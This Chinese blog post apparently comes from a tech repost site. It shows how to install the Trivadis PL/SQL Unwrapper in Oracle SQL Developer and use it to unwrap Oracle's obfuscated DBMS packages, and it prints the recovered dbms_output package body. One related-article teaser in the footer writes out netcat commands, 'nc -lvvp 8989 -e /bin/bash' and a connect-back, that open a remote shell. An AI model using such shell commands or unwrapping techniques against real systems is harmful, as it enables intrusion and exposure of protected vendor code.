Oracle的学习心得和知识总结(二十四)|Oracle数据库DBMS程序包解密方法及SQL Developer和Unwrapper的安装与使用

news2024/11/25 0:58:32

注:提前言明 本文借鉴了以下博主、书籍或网站的内容,其列表如下:

1、参考书籍:《Oracle Database SQL Language Reference》
2、参考书籍:《PostgreSQL中文手册》
3、EDB Postgres Advanced Server User Guides,点击前往
4、PostgreSQL数据库仓库链接,点击前往
5、PostgreSQL中文社区,点击前往
6、Oracle Real Application Testing 官网首页,点击前往
7、Oracle 21C RAT Testing Guide,点击前往


1、本文内容全部来源于开源社区 GitHub和以上博主的贡献,本文也免费开源(可能会存在问题,评论区等待大佬们的指正)
2、本文目的:开源共享 抛砖引玉 一起学习
3、本文不提供任何资源 不存在任何交易 与任何组织和机构无关
4、大家可以根据需要自行 复制粘贴以及作为其他个人用途,但是不允许转载 不允许商用 (写作不易,还请见谅 💖)


Oracle数据库DBMS程序包解密方法及SQL Developer和Unwrapper的安装与使用

  • 文章快速说明索引
  • 工具的安装和使用
  • package 包体解密



文章快速说明索引

学习目标:

目的:接下来这段时间我想做一些兼容Oracle数据库Real Application Testing (即:RAT)上的一些功能开发,本专栏这里主要是学习以及介绍Oracle数据库功能的使用场景、原理说明和注意事项等,基于PostgreSQL数据库的功能开发等之后 由新博客进行介绍和分享!


学习内容:(详见目录)

1、Oracle数据库DBMS程序包解密方法及SQL Developer和Unwrapper的安装与使用


学习时间:

2023年05月07日 17:41:38


学习产出:

1、Oracle数据库DBMS程序包解密方法及SQL Developer和Unwrapper的安装与使用
2、CSDN 技术博客 1篇


注:下面我们所有的学习环境是Centos7+PostgreSQL15.0+Oracle19c+MySQL5.7

postgres=# select version();
                                   version                                   
-----------------------------------------------------------------------------
 PostgreSQL 15.0 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 7.1.0, 64-bit
(1 row)

postgres=#

#-----------------------------------------------------------------------------#

SQL> select * from v$version; 

BANNER									    BANNER_FULL 								BANNER_LEGACY									CON_ID
--------------------------------------------------------------------------- --------------------------------------------------------------------------- --------------------------------------------------------------------------- ----------
Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production	    Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production	Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production		     0
									    Version 19.3.0.0.0


SQL>
#-----------------------------------------------------------------------------#

mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.19    |
+-----------+
1 row in set (0.06 sec)

mysql>

注:下面的分享来自于网络,有需要的小伙伴可以自取:

下载 SQL Developer:

链接: https://pan.baidu.com/s/1KGw0ASc1UWxmbA-dkaWCwQ
密码:r3ss

 

下载 Unwrapper 第三方插件:

链接: https://pan.baidu.com/s/1VccpqRNAIXI00D53_7Calg
密码:jqit

工具的安装和使用

先使用Oracle SQL Developer 工具连接Oracle数据库,如下:

在这里插入图片描述

在这里插入图片描述
如下:

在这里插入图片描述


下面安装 Unwrapper 第三方插件,选择帮助下拉菜单,点击检查更新

在这里插入图片描述

选择从本地文件安装,点击浏览:(选择Unwrapper_for_SQLDev_1.0.0.zip文件)

在这里插入图片描述

下一步之后,此时可以发现Trivadis PL/SQL Unwrapper for SQL Developer插件,点击完成

在这里插入图片描述

然后重启 SQL Developer 工具!


package 包体解密

我们这里看一下DBMS程序包,Oracle数据库提供了许多 PL/SQL 软件包,以扩展数据库功能并提供对 SQL 功能的 PL/SQL 访问。在这些 Oracle 提供的程序包中,以 DBMS 开头的程序包使用的最为广泛。不过Oracle 对程序包体部分进行了加密处理,如下:

包的创建如下:

在这里插入图片描述

包体加密如下:

在这里插入图片描述


我们这里通过上面安装的Unwrapper 第三方插件,就可以很方便的对 Oracle 加密后的代码进行解密,如下:

在这里插入图片描述

PACKAGE BODY dbms_output AS



  ENABLED         BOOLEAN        := FALSE;
  BUF_SIZE        BINARY_INTEGER;
  LINEBUFLEN      BINARY_INTEGER := 0; 
  PUTIDX          BINARY_INTEGER := 1;
  GETIDX          BINARY_INTEGER := 2;
  GET_IN_PROGRESS BOOLEAN := TRUE;
  TYPE            CHAR_ARR IS TABLE OF VARCHAR2(32767) INDEX BY BINARY_INTEGER;
  BUF             CHAR_ARR;
  BUFLEFT         BINARY_INTEGER := -1;






PROCEDURE KKXERAE(
   NUM BINARY_INTEGER
  ,MSG VARCHAR2
  ,KEEPERRORSTACK BOOLEAN DEFAULT FALSE);
PRAGMA INTERFACE (C, KKXERAE);

PROCEDURE RAISE_APPLICATION_ERROR(
   NUM BINARY_INTEGER
  ,MSG VARCHAR2
  ,KEEPERRORSTACK BOOLEAN DEFAULT FALSE)
IS
BEGIN
  KKXERAE(NUM, MSG, KEEPERRORSTACK);
END RAISE_APPLICATION_ERROR;

  
  
  
  
  
  PROCEDURE ENABLE (BUFFER_SIZE IN INTEGER DEFAULT 20000) IS
    LSTATUS INTEGER;
    LOCKID  INTEGER;
  BEGIN
    ENABLED := TRUE;
    IF BUFFER_SIZE < 2000 THEN
      BUF_SIZE := 2000;
    ELSIF BUFFER_SIZE > 1000000 THEN
      BUF_SIZE := 1000000;
    ELSIF BUFFER_SIZE IS NULL THEN
      BUF_SIZE := -1;   
    ELSE
      BUF_SIZE := BUFFER_SIZE;
    END IF;
    BUFLEFT := BUF_SIZE;
  END;

  PROCEDURE DISABLE IS
  BEGIN
    ENABLED := FALSE;

    BUF.DELETE;         
    PUTIDX      := 1;
    BUF(PUTIDX) := '';
    GET_IN_PROGRESS := TRUE;
  END;

  PROCEDURE PUT_INIT IS
  BEGIN
    BUF.DELETE;
    PUTIDX := 1;
    BUF(PUTIDX) := '';
    LINEBUFLEN := 0;
    BUFLEFT := BUF_SIZE;
    GET_IN_PROGRESS := FALSE;
  END;

  PROCEDURE PUT(A VARCHAR2) IS
    STRLEN  BINARY_INTEGER;
  BEGIN
    IF ENABLED THEN
      IF GET_IN_PROGRESS THEN
        PUT_INIT;
      END IF;




      STRLEN := NVL(LENGTHB(A), 0);
      IF ((STRLEN + LINEBUFLEN) > 32767) THEN
        LINEBUFLEN := 0; BUF(PUTIDX) := '';
        RAISE_APPLICATION_ERROR(-20000, 'ORU-10028: line length overflow, ' ||
          'limit of 32767 bytes per line');
      END IF;

      IF (BUF_SIZE <> -1) THEN   
        IF (STRLEN > BUFLEFT) THEN
            RAISE_APPLICATION_ERROR(-20000, 'ORU-10027: buffer overflow, ' ||
              'limit of ' || TO_CHAR(BUF_SIZE) || ' bytes');
        END IF;
        BUFLEFT := BUFLEFT - STRLEN;
      END IF;

      BUF(PUTIDX) := BUF(PUTIDX) || A;
      LINEBUFLEN := LINEBUFLEN + STRLEN;

    END IF;
  END;

  PROCEDURE PUT_LINE(A VARCHAR2) IS
  BEGIN
    IF ENABLED THEN
      PUT(A);
      NEW_LINE;
    END IF;
  END;

  PROCEDURE NEW_LINE IS
  BEGIN
    IF ENABLED THEN
      IF GET_IN_PROGRESS THEN
        PUT_INIT;
      END IF;
      LINEBUFLEN := 0;
      PUTIDX := PUTIDX + 1;
      BUF(PUTIDX) := '';
    END IF;
  END;

  PROCEDURE GET_LINE(LINE OUT VARCHAR2, STATUS OUT INTEGER) IS
  BEGIN
    IF NOT ENABLED THEN
      STATUS := 1;
      RETURN;
    END IF;

    IF NOT GET_IN_PROGRESS THEN
      
      GET_IN_PROGRESS := TRUE;

      
      
      IF (LINEBUFLEN > 0) AND (PUTIDX = 1) THEN
        STATUS := 1;
        RETURN;
      END IF;
      
      GETIDX := 1;
    END IF;

    WHILE GETIDX < PUTIDX LOOP
      LINE := BUF(GETIDX);
      GETIDX := GETIDX + 1;
      STATUS := 0;
      RETURN;
    END LOOP;
    STATUS := 1;
    RETURN;
  END;

  PROCEDURE GET_LINES(LINES OUT CHARARR, NUMLINES IN OUT INTEGER) IS
    LINECNT INTEGER := 1;
    S       INTEGER;
  BEGIN
    IF NOT ENABLED THEN
      NUMLINES := 0;
      RETURN;
    END IF;
    WHILE LINECNT <= NUMLINES LOOP
      GET_LINE(LINES(LINECNT), S);
      IF S = 1 THEN                     
        NUMLINES := LINECNT - 1;
        RETURN;
      END IF;
      LINECNT := LINECNT + 1;           
    END LOOP;
    NUMLINES := LINECNT - 1;
    RETURN;
  END;

  PROCEDURE GET_LINES(LINES OUT DBMSOUTPUT_LINESARRAY, NUMLINES IN OUT INTEGER)
  IS
    LINECNT INTEGER := 1;
    S       INTEGER;
    N       INTEGER;
  BEGIN
    IF NOT ENABLED THEN
      NUMLINES := 0;
      RETURN;
    END IF;

    LINES := DBMSOUTPUT_LINESARRAY();
    LINES.DELETE;

    IF NUMLINES < BUF.COUNT THEN
      N := NUMLINES;
    ELSE
      N := BUF.COUNT;
    END IF;

    LINES.EXTEND(N);
    WHILE LINECNT <= N LOOP
      GET_LINE(LINES(LINECNT), S);
      IF S = 1 THEN                     
        NUMLINES := LINECNT - 1;
        RETURN;
      END IF;
      LINECNT := LINECNT + 1;           
    END LOOP;
    NUMLINES := LINECNT - 1;
    RETURN;
  END;

END;


OK,之后我们就可以借助这种方式对所需的包进行解密!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/499570.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

android 隐藏底部虚拟按键

方法一 滑动屏幕 可重新显示出来 protected void hideBottomUIMenu() { //隐藏虚拟按键&#xff0c;并且全屏 if (Build.VERSION.SDK_INT <11 && Build.VERSION.SDK_INT < 19) { // lower api View v this.getWindow().getDecorView(); v.setSyst…

大众软件组织人事地震:传董事会被裁,5000人的CARIAD何去何从?

作者 | 德新 编辑 | 王博 外媒Business Insider近日爆出一则重磅消息&#xff1a;大众汽车集团CEO Oliver Blume&#xff08;奥博穆&#xff09;有意裁掉旗下软件组织CARIAD的整个董事会。其影响的高层包括&#xff0c;CARIAD CEO Dirk Hilgenberg、CTO Lynn Longo&#xff0c;…

influxdb时序型数据库基础

文章目录 什么是InfluxDB时序数据特点常见应该场景时序数据库解决什么问题InfluxDB的优势InfluxDB常用命令 什么是InfluxDB InfluxDB是一个开源的、高性能的时序型数据库&#xff0c;在时序型数据库DB-Engines Ranking上排名第一。 在介绍InfluxDB之前&#xff0c;先来介绍下…

机器学习随记(5)—决策树

手搓决策树&#xff1a;用决策树将其应用于分类蘑菇是可食用还是有毒的任务 温馨提示&#xff1a;下面为不完全代码&#xff0c;只是每个步骤代码的实现&#xff0c;需要完整跑通代码的同学不建议花时间看&#xff1b;适合了解决策树各个流程及代码实现的同学复习使用。 1 数据…

MySQL锁机制

目录 表级锁&行级锁 排他锁&共享锁 InnoDB行级锁 行级锁&#xff08;record lock&#xff09;&#xff1a; 间隙锁&#xff08;gap lock&#xff09;&#xff1a; 意向锁 InnoDB表级锁 MVCC&#xff08;多版本并发控制&#xff09; 已提交读的MVCC&#xff1a…

Linux下的shell

NC反向shell 1、查看shell类型 echo $SHELLchsh -s 需要修改shell的类型cat /etc/shells 查看存在哪些shell 然后反弹对应的shell&#xff08;正向连接&#xff09; //被控制端 nc -lvvp 8989 -e /bin/bash //控制端 nc 192.168.222.146(被控端ip) 8989 2、没有-e参数反…

css链接悬停时滑动的下划线效果

要创建链接悬停时滑动的下划线效果&#xff0c;可以向锚点标记添加伪元素&#xff0c;并使用 CSS 过渡动画来显示它。 先看效果&#xff1a; 在提供的代码中&#xff0c;a::after 选择器创建了一个伪元素&#xff0c;该伪元素位于 a 标记后面。该伪元素具有绿色背景颜色和 1…

KVM 架构和部署

建议使用centos和ubuntu 系统做实验&#xff0c;rocky 系列有些不太支持 宿主机环境准备 KVM需要宿主机CPU必须支持虚拟化功能&#xff0c;因此如果是在vmware workstation上使用虚拟机做宿主机&#xff0c;那么必须要在虚拟机配置界面的处理器选项中开启虚拟机化功能。 验证…

【AI选股】如何通过python调用通达信-小达实现AI选股(量化又多了一个选股工具)

文章目录 前言一、通达信-小达是什么&#xff1f;二、使用步骤1. 引入browser_cookie3库2. 通达信-小达 AI选股源代码 总结 前言 ChatGPT火遍网络&#xff0c;那么有没有可以不用写公式就可以实现AI选股的方法&#xff1f;答案是有&#xff0c;今天我们就来试试通达信的小达&a…

软件测试面试常见问题【含答案】

一、面试技巧题(主观题) 序号面试题1怎么能在技术没有那么合格的前提下给面试官留个好印象&#xff1f;2面试时&#xff0c;如何巧妙地避开不会的问题&#xff1f;面试遇到自己不会的问题如何机智的接话&#xff0c;化被动为主动&#xff1f;3对于了解程度的技能&#xff0c;被…

鸿蒙学习总结

控件 button 源码所在路径&#xff0c;小编也只是猜测&#xff0c;还没搞懂鸿蒙上层app到底层的玩法&#xff0c;网上也没相关资料&#xff0c;找源码真是费劲(不是简单的下载个源码的压缩包&#xff0c;而是找到里面的控件比如Button&#xff0c;或者UIAbility实现的源码&…

探索qrc,rcc和CMAKE_AUTORCC

前导知识&#xff1a;解决qt中cmake单独存放 .ui, .cpp, .h文件 前言 我们的Qt程序可以加载一些资源&#xff0c;比如程序窗口的图标。 像下面这样的原始图标&#xff0c;很丑。 可以给它加上图标&#xff0c;一个小海豚。 一、直接加载资源 这是最简单直接的方式。 …

IntersectionObserver API实现虚拟列表滚动

前言 在本篇文章你将会学到&#xff1a; IntersectionObserver API 的用法&#xff0c;以及如何兼容。如何在React Hook中实现无限滚动。如何正确渲染多达10000个元素的列表。 无限下拉加载技术使用户在大量成块的内容面前一直滚动查看。这种方法是在你向下滚动的时候不断加…

keil MDK5软件包介绍、下载、安装与分享

前言 本文介绍了Keil MDK5软件包的分类、作用、下载、安装与更新。软件包下载可通过Keil自带的Pack Installer、进入Keil Pack下载网站手动下载、去芯片厂家官网下载三种方式。同时分享了一个小技巧&#xff0c;可以直接分享已安装好的软件包给别人。 一. Keil MDK软件包介绍 K…

《Netty》从零开始学netty源码(五十五)之InternalThreadLocalMap

InternalThreadLocalMap 前面介绍PoolThreadLocalCache中了解到netty的线程缓存变量值是存在InternalThreadLocalMap中的&#xff0c;它相对于java原生的map优点在于使用数组来管理变量值而不是map&#xff0c;它的数据结构如下&#xff1a; 在它的变量中与PoolThreadLocalCac…

springboot+vue在线BLOG网站(源码+文档)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的在线BLOG网站闲一品交易平台。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 &#x1f495;&#x1f495;作者&…

我与猫头鹰的故事——得到学习的阶段总结

目录 一、背景二、过程三、总结四、升华 一、背景 记忆中已经模糊了加入得到的时间&#xff0c;但是现在它却成了我生活的一部分 每天就像有几位高人在给我细细道来他们的经验&#xff0c;给我前行的路上指引方向。 参与得到学习中不仅仅让我个人见识得到提升&#xff0c;最终…

Spring Cloud Gateway 限流

在高并发的应用中&#xff0c;限流是一个绕不开的话题。限流可以保障我们的 API 服务对所有用户的可用性&#xff0c;也可以防止网络攻击。 一般开发高并发系统常见的限流有&#xff1a;限制总并发数&#xff08;比如数据库连接池、线程池&#xff09;、限制瞬时并发数&#xf…

【C++】类和对象(初阶认识)#中篇#

上篇讲到对象的实例化 这里我们接着来探讨对象 目录 类域及成员函数在类域外的声明方法 内联 构造函数 先来看前三点&#xff1a; 无参调用格式 第四点函数重载 最后一点&#xff1a;没写构造时 自动生成 默认构造 并调用 《坑和补丁篇》 默认构造 析构函…

SETUNA2简介、下载和使用方法(截图贴图工具)

如果你在寻找一个可以截图并将截图置顶显示在桌面的工具&#xff0c;那么本文介绍的工具可以满足你的需求&#xff0c;但是我还是建议你移步&#xff1a; Snipaste介绍、安装、使用技巧&#xff08;截图贴图工具&#xff09;_西晋的no1的博客-CSDN博客 &#xff0c;Snipaste工具…